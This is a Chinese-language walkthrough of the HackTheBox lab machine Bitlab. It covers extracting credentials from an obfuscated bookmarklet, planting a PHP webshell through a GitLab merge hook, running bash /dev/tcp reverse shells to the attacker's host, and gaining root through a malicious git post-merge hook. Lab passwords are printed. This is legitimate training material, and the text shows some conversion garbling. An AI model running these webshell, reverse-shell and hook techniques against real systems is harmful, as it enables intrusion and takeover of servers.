【HTB系列】靶机Bitlab的***测试

 

本文做者:是大方子(Ms08067实验室核心成员)javascript

0x00 本文目录

  • 反思与总结
  • 基本信息
  • ***测试过程
  • 补充

0x01 反思与总结

  1. curl 发送GET参数化请求
  2. 对反弹回来的shell进行设置完善
  3. 使用git hooks来进行提权

0x02 基本信息

靶机IP地址:10.10.10.114
Kali IP地址:10.10.14.13php

0x03 ***测试过程

端口探测

root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114

Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST

Nmap scan report for 10.10.10.114

Host is up (0.24s latency).

Not shown: 998 filtered ports

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh‐hostkey: 

|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)

|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)

|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)

80/tcp open  http    nginx

| http‐robots.txt: 55 disallowed entries (15 shown)

| / /autocomplete/users /search /api /admin /profile 

| /dashboard /projects/new /groups/new /groups/*/edit /users /help 

|_/s/ /snippets/new /snippets/*/edit

| http‐title: Sign in \xC2\xB7 GitLab

|_Requested resource was http://10.10.10.114/users/sign_in

|_http‐trane‐info: Problem with XML parsing of /evox/about

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at

https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds

目标靶机开放了80 和 22端口html

目录探测

咱们先从80下手,查看下网页内容java

先使用gobuster进行扫描python

gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster

参数介绍:

dir: 表示扫描目录的模式
-w: 使用的字典
-t: 线程数量
-s: 只显示响应码为200,204,301,307,401,403的路径,由于咱们访问网页的时候有些位置是不容许咱们访问会被302跳转到登陆界面

对出现的结果逐一查看,发现除了help外其余的网页都没什么可用信息linux

漏洞发现

打开help下的bookmarks.htmlnginx

对这几个超连接逐一查看,发现前面4个链接都只是分别指向hackthebox,Docker,PHP,Node.js的官网并无什么信息
点击 【Gitlab Login】 时,发现没反应,可是出现了javascript代码。git

咱们打开源码进行查看web

把javascript代码复制出来放到https://beautifier.io/进行美化并把里面的HTML实体去除,获得下面的结果sql

javascript: (function() {
    var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];

    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];

})()

把_0x4b18里面的内容翻译下(十六进制转字符)

var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password","11des0081x"];

那么下面2行代码

document[getElementById](user_login)[value] = clave;

document[getElementById](user_password)[value] = 11des0081x;

感受是帐号密码的感受,咱们在登陆界面使用console进行尝试

帐号密码直接出现并成功登陆
登陆后有2个库

在deployer中发现index.php,像是一个挂钩文件,当Profile存储库合并了一个新的提交时就会执行命令

切换到 profile目录 , 而且执行sudo git pull

<?php

$input = file_get_contents("php://input");

$payload  = json_decode($input);

$repo = $payload‐>project‐>name ?? '';

$event = $payload‐>event_type ?? '';

$state = $payload‐>object_attributes‐>state ?? '';

$branch = $payload‐>object_attributes‐>target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged')
{

    echo shell_exec('cd ../profile/; sudo git pull'),"\n";

}

echo "OK\n";

那么咱们只要写入一个webshell并合并到profile库中,那么这个index.php就会把咱们的webshell给pull下来
咱们建立一个分支

切换到这个分支,而后在这个分支上建立一个webshell

写入一个webshell,并提交

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";

        $cmd = ($_REQUEST['cmd']);

        system($cmd);

        echo "</pre>";
        
        die;

}

?>

建立合并请求

而后就能够看到咱们的webshell就成功合并如mstaer库

此时应该会被以前的挂钩文件pull到本地,咱们尝试访问看看

http://10.10.10.114/profile/dfz.php?cmd=whoami

也能够经过curl来进行命令执行

curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode 'cmd=whoami'
-G:表示发送GET请求
--data--urlencode:对数据进行URL编码

这样咱们就拿到了webshell

反弹shell

接下来就是反弹shell
kali先nc先监听端口

而后用curl反弹,这里须要注意的是,反弹shell的指令前面还须要用到bash -c

curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode "cmd=bash ‐c 'bash ‐i >&/dev/tcp/10.10.14.13/9001 0>&1'"

反弹回来的shell,会出现字符错误,没法编辑vim等问题
输入下面的指令对反弹回来的shell进行设置,让后面咱们能够正常使用

python ‐c "import pty;pty.spawn('/bin/bash')"

ctrl + z (后台挂起shell)

stty raw ‐echo

fg + 多个回车
   
stty rows 34 cols 136

export TERM=xterm

这样咱们反弹回来的shell就能够像咱们日常用的那个shell同样了

权限提高

进入以后咱们看下sudo -l 有没有能突破的点

这里咱们能够看到 www-data用户能够不须要密码
以root的权限调用git pull 命令
这里咱们能够用git的hook文件来进行提权
在.git/hooks文件中有一些模板,咱们能够对照进行编写

由于sudo运行www-data用户运行git pull文件
那么咱们找下运行这个命令的时候会触发哪一个hook文件
能够经过下面命令查看

man githooks
``



能够看到在执行git pull时,会触发post-merge这个文件
可是在hook文件里面没有这个文件,我须要手动建立
可是这个文件夹咱们没有写的权限





那么咱们把这个文件给从新拷贝一份出来



而后在 /tmp/dfz/profile/.git/hooks/中建立一个 post-merge文件 ,并赋予执行权限
!/bin/bash

bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'

那么咱们接下来作的就是要触发git pull,在这以前咱们须要在仓库里面添加一个新的文件,这样git pull才能有效果,不然就有以下的提示


咱们能够直接添加一个文件并合并




kali进行监听,而后再进行sudo git pull
而后就获得root权限

##0x04 补充
还有另外一种方法get flag
咱们在进入到profile仓库后能够看到一个TODO



而后咱们在

http://10.10.10.114/users/clave/snippets

里面找到postgresql的代码片断



能够看到这段代码在查询数据,咱们能够看下它查询的是什么数据

array(1) {

[0]=>

array(3) {

["id"]=>

string(1) "1"

["username"]=>

string(5) "clave"

["password"]=>

string(22) "c3NoLXN0cjBuZy1wQHNz=="

}

}

咱们尝试登陆到clave



成功!
同时咱们在clave的家目录下看到一个exe


咱们经过scp下载回来

scp clave@10.10.10.114:RemoteConnection.exe .

使用OD进行调试也能够看到root的帐号密码

Qf7]8YSV.wDNF*[7d?j&eD4^

&emsp;
&emsp;
&emsp;

相关文章
相关标签/搜索